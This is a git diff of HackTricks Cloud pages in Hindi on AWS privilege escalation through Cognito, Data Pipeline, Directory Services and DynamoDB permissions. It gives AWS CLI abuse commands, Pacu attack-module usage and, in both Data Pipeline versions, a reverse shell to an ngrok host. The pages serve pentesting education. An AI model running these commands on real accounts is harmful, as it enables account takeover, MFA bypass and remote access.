-यह अनुमति पहचान पूल और पहचान आईडी के भीतर उपयोग जानकारी पढ़ने की अनुमति देती है (जो संवेदनशील जानकारी नहीं है)।\
-पहचान आईडी में [**डेटासेट्स**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए जा सकते हैं, जो सत्रों की जानकारी होती है (AWS इसे **सहेजी गई खेल** के रूप में परिभाषित करता है)। यह संभव है कि इसमें कुछ प्रकार की संवेदनशील जानकारी हो (लेकिन संभावना काफी कम है)। आप इस जानकारी तक पहुँचने के लिए [**enumeration page**](../aws-services/aws-cognito-enum/) पर देख सकते हैं।
-
-एक हमलावर इन अनुमतियों का उपयोग करके **इन डेटासेट्स पर परिवर्तन प्रकाशित करने वाले Cognito स्ट्रीम में खुद को नामांकित कर सकता है** या **cognito घटनाओं पर ट्रिगर होने वाले लैम्ब्डा** का उपयोग कर सकता है। मैंने इसे उपयोग में नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की अपेक्षा नहीं करूंगा, लेकिन यह असंभव नहीं है।
-
-### स्वचालित उपकरण
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताओं का उपयोग करने के लिए पहुँच नियंत्रण, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर प्रिवेस्क को भी स्वचालित करता है।
-
-मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें।
-
-#### उपयोग
-
-एक दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ उपयोगकर्ता निर्माण और सभी प्रिवेस्क वेक्टरों का प्रयास करने के लिए नमूना cognito\_\_attack उपयोग:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ताओं आदि को इकट्ठा करने के लिए:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें privesc escalation भी शामिल है।
-
-#### Installation
-```bash
-$ pip install cognito-scanner
-```
-#### उपयोग
-```bash
-$ cognito-scanner --help
-```
-अधिक जानकारी के लिए देखें [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
new file mode 100644
index 000000000..7cc2fed80
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -0,0 +1,274 @@
+# AWS - Cognito Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Cognito के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Identity Pool से credentials एकत्र करना
+
+क्योंकि Cognito दोनों **authenticated** और **unauthenticated** **users** को **IAM role credentials** दे सकता है, अगर आप किसी application का **Identity Pool ID** (जो आमतौर पर उसमे hardcoded होता है) ढूंढ लें तो आप नए credentials प्राप्त कर सकते हैं और इस तरह privesc हासिल कर सकते हैं (एक ऐसे AWS खाते के अंदर जहाँ शायद आपके पास पहले कोई credential भी नहीं था)।
+
+अधिक जानकारी के लिए [**यह पेज देखें**](../../aws-unauthenticated-enum-access/index.html#cognito).
+
+**Potential Impact:** unauth users से जुड़े services role पर सीधे privesc (और सम्भतः auth users से जुड़े role पर भी)।
+
+### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
+
+इस permission के साथ आप cognito app के authenticated/unauthenticated users को **grant any cognito role** कर सकते हैं।
+```bash
+aws cognito-identity set-identity-pool-roles \
+--identity-pool-id  \
+--roles unauthenticated=
+
+# Get credentials
+## Get one ID
+aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+## Get creds for that id
+aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
+```
+यदि cognito app पर **unauthenticated users सक्षम नहीं हैं** तो इसे सक्षम करने के लिए आपको `cognito-identity:UpdateIdentityPool` अनुमति की भी आवश्यकता हो सकती है।
+
+**संभावित प्रभाव:** किसी भी cognito role पर सीधा privesc।
+
+### `cognito-identity:update-identity-pool`
+
+इस अनुमति वाला एक attacker उदाहरण के लिए अपने नियंत्रण में एक Cognito User Pool या किसी अन्य identity provider सेट कर सकता है जहाँ वह लॉगिन कर सके — यह **इस Cognito Identity Pool तक पहुँचने का एक तरीका** बन सकता है। फिर, बस उस user provider में **login** करने से **उसे Identity Pool में कॉन्फ़िगर किया गया authenticated role एक्सेस करने की अनुमति मिल जाएगी**।
+```bash
+# This example is using a Cognito User Pool as identity provider
+## but you could use any other identity provider
+aws cognito-identity update-identity-pool \
+--identity-pool-id  \
+--identity-pool-name  \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+
+# Now you need to login to the User Pool you have configured
+## after having the id token of the login continue with the following commands:
+
+# In this step you should have already an ID Token
+aws cognito-identity get-id \
+--identity-pool-id  \
+--logins cognito-idp..amazonaws.com/=
+
+# Get the identity_id from thr previous commnad response
+aws cognito-identity get-credentials-for-identity \
+--identity-id  \
+--logins cognito-idp..amazonaws.com/=
+```
+यह भी संभव है कि आप **इस अनुमति का दुरुपयोग करके basic auth की अनुमति दे सकें**:
+```bash
+aws cognito-identity update-identity-pool \
+--identity-pool-id  \
+--identity-pool-name  \
+--allow-unauthenticated-identities
+--allow-classic-flow
+```
+**Potential Impact**: identity pool के अंदर configured authenticated IAM role का समझौता होना।
+
+### `cognito-idp:AdminAddUserToGroup`
+
+यह अनुमति **add a Cognito user to a Cognito group** करने की अनुमति देती है, इसलिए एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक उपयोगकर्ता को अन्य समूहों में जोड़ सकता है जिनके पास **better** privileges या **different IAM roles** हों:
+```bash
+aws cognito-idp admin-add-user-to-group \
+--user-pool-id  \
+--username  \
+--group-name 
+```
+**संभावित प्रभाव:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups.
+
+### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
+
+इन permissions वाले attacker **create/update groups** कर सकता है जिनमें **every IAM role that can be used by a compromised Cognito Identity Provider** शामिल हों, और compromised user को उस group का सदस्य बना सकता है, जिससे वह उन सभी roles तक access प्राप्त कर सके:
+```bash
+aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
+```
+**संभावित प्रभाव:** Privesc to other Cognito IAM roles.
+
+### `cognito-idp:AdminConfirmSignUp`
+
+यह अनुमति किसी **साइनअप को सत्यापित करने** की अनुमति देती है। डिफ़ॉल्ट रूप से कोई भी Cognito applications में साइन इन कर सकता है; यदि यह वैसा ही छोड़ दिया गया हो, तो एक उपयोगकर्ता किसी भी जानकारी के साथ एक खाता बना सकता है और इस अनुमति का उपयोग करके उसे सत्यापित कर सकता है।
+```bash
+aws cognito-idp admin-confirm-sign-up \
+--user-pool-id  \
+--username 
+```
+**Potential Impact:** यदि आप एक नया user रजिस्टर कर सकते हैं तो authenticated users के लिए identity pool IAM role तक indirect privesc हो सकता है। किसी भी account की पुष्टि (confirm) करने में सक्षम होने से अन्य app functionalities पर भी indirect privesc हो सकता है।
+
+### `cognito-idp:AdminCreateUser`
+
+यह permission हमलावर को user pool के अंदर एक नया user बनाने की अनुमति देगा। नया user enabled के रूप में बनाया जाता है, लेकिन उसे अपना password बदलना होगा।
+```bash
+aws cognito-idp admin-create-user \
+--user-pool-id  \
+--username  \
+[--user-attributes ] ([Name=email,Value=email@gmail.com])
+[--validation-data ]
+[--temporary-password ]
+```
+**संभावित प्रभाव:** identity pool IAM role for authenticated users पर direct privesc। अन्य app कार्यक्षमताओं में अप्रत्यक्ष privesc, जिससे किसी भी user को create करने में सक्षम होना
+
+### `cognito-idp:AdminEnableUser`
+
+यह permissions एक बहुत ही edge-case परिदृश्य में मदद कर सकता है जहाँ attacker को किसी disabled user के credentials मिल गए हों और उसे **इसे फिर से सक्षम करना** आवश्यक हो।
+```bash
+aws cognito-idp admin-enable-user \
+--user-pool-id  \
+--username 
+```
+**संभावित प्रभाव:** Indirect privesc to the identity pool IAM role for authenticated users और उपयोगकर्ता की permissions तक, यदि हमलावर के पास किसी निष्क्रिय उपयोगकर्ता के credentials हों।
+
+### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
+
+यह अनुमति [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)** के साथ लॉगिन करने की अनुमति देती है। अधिक जानकारी के लिए दिए गए लिंक को देखें।
+
+### `cognito-idp:AdminSetUserPassword`
+
+यह अनुमति हमलावर को किसी भी उपयोगकर्ता का **पासवर्ड बदलने** की अनुमति देगी, जिससे वह (यदि उस उपयोगकर्ता पर MFA सक्षम नहीं है) किसी भी उपयोगकर्ता के रूप में प्रस्तुत हो सकेगा।
+```bash
+aws cognito-idp admin-set-user-password \
+--user-pool-id  \
+--username  \
+--password  \
+--permanent
+```
+**Potential Impact:** किसी भी user पर संभावित direct privesc — जिससे प्रत्येक user के सदस्य सभी groups तक पहुँच और Identity Pool authenticated IAM role तक पहुँच मिल सकती है।
+
+### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
+
+**AdminSetUserSettings**: एक attacker संभवतः इस permission का दुरुपयोग कर सकता है ताकि अपनी नियंत्रण में मोबाइल फोन को **SMS MFA of a user** के रूप में सेट कर दे।
+```bash
+aws cognito-idp admin-set-user-settings \
+--user-pool-id  \
+--username  \
+--mfa-options 
+```
+**SetUserMFAPreference:** पहले वाले की तरह, यह permission उपयोगकर्ता की MFA प्राथमिकताएँ सेट करके MFA सुरक्षा को bypass करने के लिए उपयोग किया जा सकता है।
+```bash
+aws cognito-idp admin-set-user-mfa-preference \
+[--sms-mfa-settings ] \
+[--software-token-mfa-settings ] \
+--username  \
+--user-pool-id 
+```
+**SetUserPoolMfaConfig**: पिछले वाले की तरह, यह permission user pool की MFA preferences सेट करने के लिए इस्तेमाल की जा सकती है ताकि MFA protection को bypass किया जा सके।
+```bash
+aws cognito-idp set-user-pool-mfa-config \
+--user-pool-id  \
+[--sms-mfa-configuration ] \
+[--software-token-mfa-configuration ] \
+[--mfa-configuration ]
+```
+**UpdateUserPool:** यह भी संभव है कि user pool को अपडेट करके MFA policy बदली जाए। [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+
+**Potential Impact:** आक्रमणकर्ता जिन users के credentials जानता है उन किसी भी user के लिए अप्रत्यक्ष privesc संभव हो सकता है; यह MFA सुरक्षा को बायपास करने की अनुमति दे सकता है।
+
+### `cognito-idp:AdminUpdateUserAttributes`
+
+इस permission वाले attacker अपने नियंत्रण वाले किसी user का email, phone number या कोई अन्य attribute बदलकर अंतर्निहित application में अधिक privileges प्राप्त करने की कोशिश कर सकता है.\
+यह email या phone number बदलने और उसे verified के रूप में सेट करने की अनुमति देता है.
+```bash
+aws cognito-idp admin-update-user-attributes \
+--user-pool-id  \
+--username  \
+--user-attributes 
+```
+**Potential Impact:** Cognito User Pool का उपयोग करने वाले अंतर्निहित एप्लिकेशन में उपयोगकर्ता गुणों के आधार पर अधिकार देने वाली संभावित अप्रत्यक्ष privesc।
+
+### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
+
+इस अनुमति वाले हमलावर पहले से मौजूद pool clients की तुलना में **कम प्रतिबंधित एक नया User Pool Client बना** सकता है। उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार की authenticate विधि की अनुमति दे सकता है, किसी secret की आवश्यकता न रखता हो सकता है, token revocation disabled हो सकता है, tokens को लंबी अवधि के लिए वैध रहने दिया जा सकता है...
+
+इसी तरह, अगर नया क्लाइंट बनाने की बजाय किसी **मौजूदा क्लाइंट में संशोधन किया जाए** तो भी यही संभव है।
+
+आप [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (या [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) में सभी विकल्प देख सकते हैं, जाँच करें!
+```bash
+aws cognito-idp create-user-pool-client \
+--user-pool-id  \
+--client-name  \
+[...]
+```
+**Potential Impact:** Identity Pool द्वारा अधिकृत user (जो User Pool द्वारा उपयोग होता है) के लिए संभावित अप्रत्यक्ष privesc — एक नया client बनाकर सुरक्षा उपायों को ढीला करने से attacker उस user के रूप में login कर सकता है जिसे उसने बनाया था।
+
+### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
+
+An attacker इस permission का दुरुपयोग करके नए users वाले csv अपलोड करके users बना सकता है।
+```bash
+# Create a new import job
+aws cognito-idp create-user-import-job \
+--job-name  \
+--user-pool-id  \
+--cloud-watch-logs-role-arn 
+
+# Use a new import job
+aws cognito-idp start-user-import-job \
+--user-pool-id  \
+--job-id 
+
+# Both options before will give you a URL where you can send the CVS file with the users to create
+curl -v -T "PATH_TO_CSV_FILE" \
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+```
+(यदि आप एक नया import job बनाते हैं तो आपको iam passrole permission की भी आवश्यकता हो सकती है, मैंने अभी तक इसका परीक्षण नहीं किया है)।
+
+**संभावित प्रभाव:** प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role तक direct privesc। अन्य app कार्यक्षमताओं को किसी भी user को create करने में सक्षम बनाने के लिए indirect privesc।
+
+### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
+
+एक attacker नया identity provider बना सकता है ताकि वह इस provider के माध्यम से **login** कर सके।
+```bash
+aws cognito-idp create-identity-provider \
+--user-pool-id  \
+--provider-name  \
+--provider-type  \
+--provider-details  \
+[--attribute-mapping ] \
+[--idp-identifiers ]
+```
+**Potential Impact:** प्रमाणिक उपयोगकर्ताओं के लिए identity pool IAM role पर सीधे privesc। अनुप्रयोग की अन्य कार्यक्षमताओं पर अप्रत्यक्ष privesc जिससे किसी भी user को बनाया जा सके।
+
+### cognito-sync:\* विश्लेषण
+
+यह Cognito Identity Pools के roles में डिफ़ॉल्ट रूप से बहुत सामान्य permission है। भले ही permissions में wildcard हमेशा खराब दिखता है (खासतौर पर AWS से आने पर), दिए गए permissions हमलावर के दृष्टिकोण से बहुत उपयोगी नहीं हैं।
+
+यह permission Identity Pools की उपयोग जानकारी और Identity Pools के अंदर Identity IDs पढ़ने की अनुमति देता है (जो संवेदनशील जानकारी नहीं है).\
+Identity IDs पर [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए हो सकते हैं, जो sessions की जानकारी होते हैं (AWS इसे एक **saved game** की तरह परिभाषित करता है)। संभव है कि इनमें किसी प्रकार की संवेदनशील जानकारी हो (पर संभावना काफी कम है)। इस जानकारी तक कैसे पहुँचें, वह आप [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) में पाएंगे।
+
+एक हमलावर इन permissions का उपयोग करके इन datasets पर परिवर्तन प्रकाशित करने वाले किसी Cognito stream में स्वयं को **enroll** कर सकता है या cognito events पर trigger होने वाले किसी **lambda** का उपयोग कर सकता है। मैंने इसे उपयोग में आते नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की उम्मीद नहीं करूँगा, पर यह असंभव नहीं है।
+
+### Automatic Tools
+
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक account में सभी Cognito assets की enumeration स्वचालित करते हैं और कमजोर configurations, access control के लिए उपयोग किए गए user attributes आदि को चिन्हित करते हैं, और साथ ही user creation (including MFA support) और modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens आदि पर आधारित privilege escalation को भी स्वचालित करते हैं।
+
+For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
+
+#### Usage
+
+Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+नमूना cognito\_\_enum उपयोग — वर्तमान AWS अकाउंट में दिखाई देने वाले सभी user pools, user pool clients, identity pools, users, आदि एकत्र करने के लिए:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है python में जो Cognito पर विभिन्न हमलों को लागू करता है, जिसमें privesc escalation भी शामिल है।
+
+#### इंस्टॉलेशन
+```bash
+$ pip install cognito-scanner
+```
+#### उपयोग
+```bash
+$ cognito-scanner --help
+```
+अधिक जानकारी के लिए देखें [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
deleted file mode 100644
index f11c68f65..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - Datapipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## datapipeline
-
-datapipeline के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-
-इन **अनुमतियों वाले उपयोगकर्ता एक Data Pipeline बनाकर विशेषाधिकार बढ़ा सकते हैं** ताकि **नियुक्त भूमिका की अनुमतियों का उपयोग करके मनचाहे आदेश निष्पादित कर सकें:**
-```bash
-aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
-```
-पाइपलाइन बनाने के बाद, हमलावर इसकी परिभाषा को अद्यतन करता है ताकि विशिष्ट क्रियाएँ या संसाधन निर्माण निर्धारित किए जा सकें:
-```json
-{
-"objects": [
-{
-"id": "CreateDirectory",
-"type": "ShellCommandActivity",
-"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
-"runsOn": { "ref": "instance" }
-},
-{
-"id": "Default",
-"scheduleType": "ondemand",
-"failureAndRerunMode": "CASCADE",
-"name": "Default",
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_datapipeline"
-},
-{
-"id": "instance",
-"name": "instance",
-"type": "Ec2Resource",
-"actionOnTaskFailure": "terminate",
-"actionOnResourceFailure": "retryAll",
-"maximumRetries": "1",
-"instanceType": "t2.micro",
-"securityGroups": ["default"],
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_ec2_profile_instance"
-}
-]
-}
-```
-> [!NOTE]
-> ध्यान दें कि **लाइन 14, 15 और 27** में **भूमिका** एक भूमिका होनी चाहिए जो **datapipeline.amazonaws.com** द्वारा ग्रहण की जा सके और **लाइन 28** में भूमिका एक **भूमिका होनी चाहिए जो ec2.amazonaws.com द्वारा ग्रहण की जा सके जिसमें एक EC2 प्रोफ़ाइल इंस्टेंस हो**।
->
-> इसके अलावा, EC2 इंस्टेंस केवल उस भूमिका तक पहुँच रखेगा जो EC2 इंस्टेंस द्वारा ग्रहण की जा सके (तो आप केवल वही चुरा सकते हैं)।
-```bash
-aws datapipeline put-pipeline-definition --pipeline-id  \
---pipeline-definition file:///pipeline/definition.json
-```
-**पाइपलाइन परिभाषा फ़ाइल, जिसे हमलावर द्वारा तैयार किया गया है, में आदेश निष्पादित करने या AWS API के माध्यम से संसाधन बनाने के लिए निर्देश शामिल हैं, जो डेटा पाइपलाइन की भूमिका अनुमतियों का लाभ उठाते हुए संभावित रूप से अतिरिक्त विशेषाधिकार प्राप्त कर सकते हैं।**
-
-**संभावित प्रभाव:** निर्दिष्ट ec2 सेवा भूमिका के लिए प्रत्यक्ष विशेषाधिकार वृद्धि।
-
-## संदर्भ
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
new file mode 100644
index 000000000..a04ea3e20
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
@@ -0,0 +1,68 @@
+# AWS - Datapipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## datapipeline
+
+For more info about datapipeline check:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
+
+इन उपयोगकर्ताओं के पास ये **permissions होने पर एक Data Pipeline बनाकर अधिकार बढ़ा सकते हैं** और assigned role की **permissions का उपयोग करके मनमाने कमांड चला सकते हैं:**
+```bash
+aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
+```
+Pipeline निर्माण के बाद, attacker इसकी परिभाषा अपडेट करके विशिष्ट क्रियाएँ या संसाधन निर्माण निर्दिष्ट करता है:
+```json
+{
+"objects": [
+{
+"id": "CreateDirectory",
+"type": "ShellCommandActivity",
+"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
+"runsOn": { "ref": "instance" }
+},
+{
+"id": "Default",
+"scheduleType": "ondemand",
+"failureAndRerunMode": "CASCADE",
+"name": "Default",
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_datapipeline"
+},
+{
+"id": "instance",
+"name": "instance",
+"type": "Ec2Resource",
+"actionOnTaskFailure": "terminate",
+"actionOnResourceFailure": "retryAll",
+"maximumRetries": "1",
+"instanceType": "t2.micro",
+"securityGroups": ["default"],
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_ec2_profile_instance"
+}
+]
+}
+```
+> [!NOTE]
+> ध्यान दें कि **role** जो **line 14, 15 and 27** में है, वह **assumable by datapipeline.amazonaws.com** होना चाहिए और **line 28** में जो role है वह **role assumable by ec2.amazonaws.com with a EC2 profile instance** होना चाहिए।
+>
+> इसके अलावा, EC2 instance केवल उस role तक ही पहुँच पाएगा जिसे EC2 instance द्वारा assume किया जा सकता है (so you can only steal that one).
+```bash
+aws datapipeline put-pipeline-definition --pipeline-id  \
+--pipeline-definition file:///pipeline/definition.json
+```
+The **पाइपलाइन परिभाषा फ़ाइल, जिसे हमलावर ने तैयार किया है, कमांड निष्पादित करने के निर्देश शामिल करती है** या AWS API के माध्यम से संसाधन बनाने के लिए, Data Pipeline की role permissions का लाभ उठाकर संभावित रूप से अतिरिक्त अधिकार प्राप्त करने के लिए।
+
+**संभावित प्रभाव:** निर्दिष्ट ec2 सर्विस रोल पर सीधे privesc।
+
+## संदर्भ
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 8c03c7f4c..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Directory Services Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Directory Services
-
-डायरेक्टरी सेवाओं के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `ds:ResetUserPassword`
-
-यह अनुमति किसी भी **मौजूदा** उपयोगकर्ता का **पासवर्ड** **बदलने** की अनुमति देती है जो Active Directory में है।\
-डिफ़ॉल्ट रूप से, एकमात्र मौजूदा उपयोगकर्ता **Admin** है।
-```
-aws ds reset-user-password --directory-id  --user-name Admin --new-password Newpassword123.
-```
-### AWS प्रबंधन कंसोल
-
-यह संभव है कि एक **ऐप्लिकेशन एक्सेस URL** सक्षम किया जाए जिसे AD के उपयोगकर्ता लॉगिन करने के लिए एक्सेस कर सकें:
-
-

-
-और फिर **उन्हें एक AWS IAM भूमिका प्रदान करें** जब वे लॉगिन करें, इस तरह एक AD उपयोगकर्ता/समूह को AWS प्रबंधन कंसोल पर एक्सेस मिलेगा:
-
-

-
-स्पष्ट रूप से ऐप्लिकेशन एक्सेस URL, AWS प्रबंधन कंसोल को सक्षम करने और अनुमति देने का कोई तरीका नहीं है
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
new file mode 100644
index 000000000..73631e048
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
@@ -0,0 +1,32 @@
+# AWS - Directory Services Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## डायरेक्टरी सर्विसेज
+
+डायरेक्टरी सर्विसेज के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-directory-services-workdocs-enum.md
+{{#endref}}
+
+### `ds:ResetUserPassword`
+
+यह permission Active Directory में किसी भी **existent** उपयोगकर्ता का **password** **change** करने की अनुमति देता है।\
+डिफ़ॉल्ट रूप से, एकमात्र मौजूद उपयोगकर्ता **Admin** है।
+```
+aws ds reset-user-password --directory-id  --user-name Admin --new-password Newpassword123.
+```
+### AWS Management Console
+
+यह संभव है कि एक **application access URL** सक्षम किया जाए जिसे AD के उपयोगकर्ता लॉगिन करने के लिए एक्सेस कर सकें:
+
+

+
+और फिर लॉगिन करने पर उन्हें एक **AWS IAM role** दें, इस तरह एक AD user/group को AWS management console तक पहुँच मिल जाएगी:
+
+

+
+ऐसा प्रतीत होता है कि application access URL, the AWS Management Console को सक्षम करने और अनुमति देने का कोई तरीका उपलब्ध नहीं है
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
deleted file mode 100644
index 3d686104b..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - DynamoDB Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## dynamodb
-
-DynamoDB के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### `dynamodb:PutResourcePolicy`, और वैकल्पिक रूप से `dynamodb:GetResourcePolicy`
-
-मार्च 2024 से, AWS *resource based policies* के लिए DynamoDB प्रदान करता है ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/))।
-
-तो, यदि आपके पास किसी तालिका के लिए `dynamodb:PutResourcePolicy` है, तो आप बस अपने आप या किसी अन्य प्रिंसिपल को तालिका तक पूर्ण पहुंच दे सकते हैं।
-
-किसी यादृच्छिक प्रिंसिपल को `dynamodb:PutResourcePolicy` देना अक्सर गलती से होता है, यदि व्यवस्थापक सोचते हैं कि `dynamodb:Put*` देने से केवल प्रिंसिपल को डेटाबेस में आइटम डालने की अनुमति मिलेगी - या यदि उन्होंने मार्च 2024 से पहले वह अनुमति सेट दी थी...
-
